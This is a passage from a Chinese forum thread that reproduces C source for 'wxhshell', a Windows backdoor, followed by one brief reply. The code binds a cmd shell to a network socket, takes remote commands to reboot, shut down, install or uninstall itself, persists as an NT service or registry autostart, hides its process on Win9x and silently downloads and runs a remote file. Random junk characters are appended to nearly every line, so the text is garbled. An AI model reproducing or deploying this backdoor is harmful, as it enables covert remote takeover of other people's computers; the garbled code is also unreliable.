  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;sm"\.jF  
  else !XkymIX~O.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qAnA=/k`  
  } 7j4ej|Fjo  
  else { Cca~Cq[%*(  
;*n_N!v  
    switch(cmd[0]) { d%S=$}o  
  [BJ$|[11  
  // 帮助 rDK;6H:u{  
  case '?': { Qo]vpp^[#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X v`2hf  
    break; XPGL3[w\V  
  } BLWA!-  
  // 安装 |Gf1^8:C9  
  case 'i': { tCd{G c  
    if(Install()) 5@GD} oAn6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !5yRWMO9X~  
    else b EoB;]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); />2A<{6\=P  
    break; ~W]#9&yQ  
    } \9[NH/.Z{  
  // 卸载 HTR "mQ  
  case 'r': { GMVC&^  
    if(Uninstall()) byEvc[/>Ys  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c13vEn!c  
    else d08`42Z69  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T b5$  
    break; x&Q+|b%  
    } OL,/-;z6  
  // 显示 wxhshell 所在路径 !C9ps]6  
  case 'p': { *%P>x}6w3  
    char svExeFile[MAX_PATH]; ^.ZSpc}<  
    strcpy(svExeFile,"\n\r"); JUe K"|fA  
      strcat(svExeFile,ExeFile); CwTS/G  
        send(wsh,svExeFile,strlen(svExeFile),0); vLi/'|7  
    break; ZX~>uf\n  
    } vB&F_"/X2  
  // 重启 s BeP;ox  
  case 'b': { `@VM<av  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )x_W&*oZ  
    if(Boot(REBOOT)) aYv'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UE}8Rkt  
    else { J dk3) \  
    closesocket(wsh); Zj%B7s1A  
    ExitThread(0); l044c,AW(  
    } BLl%D  
    break; _QC?:mv6-  
    } XhHel|!g:  
  // 关机 Ba"^K d`  
  case 'd': { {ar5c&<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'xLM>6[wz  
    if(Boot(SHUTDOWN)) ,v$2'm)V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1]D/3!  
    else { INN/VDsJ  
    closesocket(wsh); ^P3g9'WK  
    ExitThread(0); 97:t29N  
    } }QX2 :a  
    break; Ak %no3:9  
    } b@{%qh ,C  
  // 获取shell 2|T|K?R^  
  case 's': { CPF>^Mp#  
    CmdShell(wsh); xdFP$Y~ogy  
    closesocket(wsh); UY}9  
    ExitThread(0); i?&4SG+2~K  
    break; rzYobOKd#  
  } XudH  
  // 退出 FcA)RsMI*  
  case 'x': { Qwp\)jVi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -@gJqoo>  
    CloseIt(wsh); 1`2);b{@  
    break; rE bx%u7Q  
    } hB2s$QS  
  // 离开 P!)7\.7  
  case 'q': { R"9oMaY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M[`w{A  
    closesocket(wsh); (7rz:  
    WSACleanup(); `[C  v-  
    exit(1); Q*mMF@-:  
    break; a6 #{2q  
        } p ?Ij-uo"o  
  } "2vNkO##  
  } =hOj8;2  
A/Fs?m{7U  
  // 提示信息 ]|((b/L3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hX'z]Am<  
} _4XoUE\\  
  } f2R+5`$  
-Z/6;2Q  
  return; c|R3,<Q]  
} & 8:iB {n  
[`Qp;_K?t  
// shell模块句柄 n}ZBU5_  
int CmdShell(SOCKET sock) ;*j6d3E  
{ ^Q43)H0  
STARTUPINFO si; 3u"J4%zg|L  
ZeroMemory(&si,sizeof(si)); 8IT_mjj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D 7;~x]*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Tg|aW$(*  
PROCESS_INFORMATION ProcessInfo; @=MZ6q  
char cmdline[]="cmd"; 6>LQGO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Chb 4VoE  
  return 0; D@lAT#vA  
} npG+# z  
]'1N_m]?  
// 自身启动模式 69<rsp(p  
int StartFromService(void) 9>.<+b(>!'  
{ ,,C~j`F  
typedef struct  ycAi(K  
{ @6I[{{>X  
  DWORD ExitStatus; Jq?^8y  
  DWORD PebBaseAddress; S7#^u`'Q_^  
  DWORD AffinityMask; yaYIgG  
  DWORD BasePriority; J7 *G/F  
  ULONG UniqueProcessId; UtGd/\:  
  ULONG InheritedFromUniqueProcessId; x#}j3" PP  
}   PROCESS_BASIC_INFORMATION;  2U+z~  
:+gCO!9Y  
PROCNTQSIP NtQueryInformationProcess; q*<J $PI  
q=E}#[EgY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [V#&sAe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u {E^<fW]  
*"wD& E?  
  HANDLE             hProcess; f-f\}G&G  
  PROCESS_BASIC_INFORMATION pbi; }HA2c e\  
43orR !.Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aP6%OI  
  if(NULL == hInst ) return 0; gS(: c .  
9q0,K" x)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -SC2Zgi)A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /O(;~1B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1vR#FE?  
JG+g88  
  if (!NtQueryInformationProcess) return 0; Z+"E*  
"|l oSf@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ).O2_<&?F  
  if(!hProcess) return 0; wJ]$'c3  
ezq q@t9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N:gstp  
]TTJrC:  
  CloseHandle(hProcess); xdTzG4  
U0|j^.)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m?R+Z6c[  
if(hProcess==NULL) return 0; sVm'9k  
u):Rw  
HMODULE hMod; <x%my4M  
char procName[255]; loqS?bC ]  
unsigned long cbNeeded; DRB YH(  
Kjca>/id  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :R|2z`b!  
r<f-v_bxF  
  CloseHandle(hProcess); ~E:/oV:4 >  
i7w}`vs  
if(strstr(procName,"services")) return 1; // 以服务启动 n4d(`  
~BYEeUo;%v  
  return 0; // 注册表启动 3 z/O`z  
} k f K"i  
ZsK'</7  
// 主模块 +[l{C+p  
int StartWxhshell(LPSTR lpCmdLine) I}Gl*@K&O  
{ Om?:X!l"  
  SOCKET wsl; 0,D9\ Ebd  
BOOL val=TRUE; @}rfY9o'  
  int port=0; 1 FIiX  
  struct sockaddr_in door; {*]= qSz  
'?!<I  
  if(wscfg.ws_autoins) Install(); T?}=k{C]  
=L; n8~{@y  
port=atoi(lpCmdLine); A`8}J4  
J`D<  
if(port<=0) port=wscfg.ws_port; V:" \(Y  
va*>q-QCr  
  WSADATA data; cF<DUr)Ve  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pcxl2I  
()IgSj?,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #( Yb lY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I8pxo7(-  
  door.sin_family = AF_INET; o _,$`nEJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H&K)q5~  
  door.sin_port = htons(port); : w`i  
kU9AfAe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LF,c-Cv!jL  
closesocket(wsl); M+&eh*:z:  
return 1; Mud\Q["  
} WaO;hy~us  
Z YO/'YW  
  if(listen(wsl,2) == INVALID_SOCKET) { _q!ck0_  
closesocket(wsl); GMp'KEQQ  
return 1; AxqTPx7`|  
} "@<g'T0  
  Wxhshell(wsl); /)<7$  
  WSACleanup(); 0BwQ!B.  
@m d^mss  
return 0; w\Eve:  
E rymx$@P  
} C g,w6<7  
%RF   
// 以NT服务方式启动 BO cEL%+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _"e( ^yiK  
{ vH:+  
DWORD   status = 0; KB-#):'  
  DWORD   specificError = 0xfffffff; KqIe8bi^G  
gRd1(S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7^}Z%c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |P?B AWYeQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -`<N,  
  serviceStatus.dwWin32ExitCode     = 0; X/D9%[{&  
  serviceStatus.dwServiceSpecificExitCode = 0; Dg4^ C  
  serviceStatus.dwCheckPoint       = 0; p.7p,CyB  
  serviceStatus.dwWaitHint       = 0; RPqn#B  
ZFw743G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g<jK^\e W  
  if (hServiceStatusHandle==0) return; -Y,Ibq  
4'eVFu+62  
status = GetLastError(); 9 u89P  
  if (status!=NO_ERROR) nQ*oOxe|X  
{ Iz=E8R g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B'~i Z65  
    serviceStatus.dwCheckPoint       = 0; :z5I bas:  
    serviceStatus.dwWaitHint       = 0; 7.'j~hJL  
    serviceStatus.dwWin32ExitCode     = status; +[nYu)puP  
    serviceStatus.dwServiceSpecificExitCode = specificError; CZno2$8@e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O*"wQ50Ou  
    return; o~N-x*   
  } `-e}:9~q  
`)_FO]m}jS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z s!q#qM  
  serviceStatus.dwCheckPoint       = 0; #Yb9w3N  
  serviceStatus.dwWaitHint       = 0; *wl_8Sis}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pNme jz:  
} E$fy*enON  
{.'g!{SHp  
// 处理NT服务事件,比如:启动、停止 !f[N&se  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3JO:n6  
{ \DdVMn  
switch(fdwControl) ?4dd|n  
{ &%51jM<  
case SERVICE_CONTROL_STOP: ^Q:`2C5  
  serviceStatus.dwWin32ExitCode = 0; G`K7P`m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KUV{]?'  
  serviceStatus.dwCheckPoint   = 0; iFT3fP'> 5  
  serviceStatus.dwWaitHint     = 0; u"3cSuqy  
  { lw lW.C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#(Pg  
  } }=R|iz*,!  
  return; M4]|(A  
case SERVICE_CONTROL_PAUSE: )CU(~s|s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ov}{UP]a?  
  break; l1j   
case SERVICE_CONTROL_CONTINUE: hIHO a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _$x *CP0(  
  break; dTNgrW`4  
case SERVICE_CONTROL_INTERROGATE: 0a;zT O/"v  
  break; 4ov~y1Da)  
}; RLr-xg$K-t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dz DssAHy  
} .j,&/y&  
>@\-m  
// 标准应用程序主函数 2 z l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~1p]j  
{ DGUU1 vA  
hkm3\wg  
// 获取操作系统版本 B9 {DO  
OsIsNt=GetOsVer(); 7E]l=Z`x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p#I1l2nE  
}e6:&`a xD  
  // 从命令行安装 3@A k6Uh  
  if(strpbrk(lpCmdLine,"iI")) Install(); s;)tLJ!  
;<Q_4 V  
  // 下载执行文件 @J)vuGS  
if(wscfg.ws_downexe) { 7tnzgtal  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `fHiY.-  
  WinExec(wscfg.ws_filenam,SW_HIDE); :"^$7  
}  HuC lO  
|1x,_uyQ%  
if(!OsIsNt) { F:U_gW?  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gj0NN:  
HideProc(); cZ,_O~  
StartWxhshell(lpCmdLine); z[Qv}pv  
} Z/;SR""wa  
else mcracj[ B  
  if(StartFromService()) Q?q m~wD  
  // 以服务方式启动 m]vr|:{6/  
  StartServiceCtrlDispatcher(DispatchTable); 6C5qW8q]u3  
else %?y`_~G  
  // 普通方式启动 {hR23eE)#  
  StartWxhshell(lpCmdLine); c }cboe2  
/267Q;d C)  
return 0; EORAx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五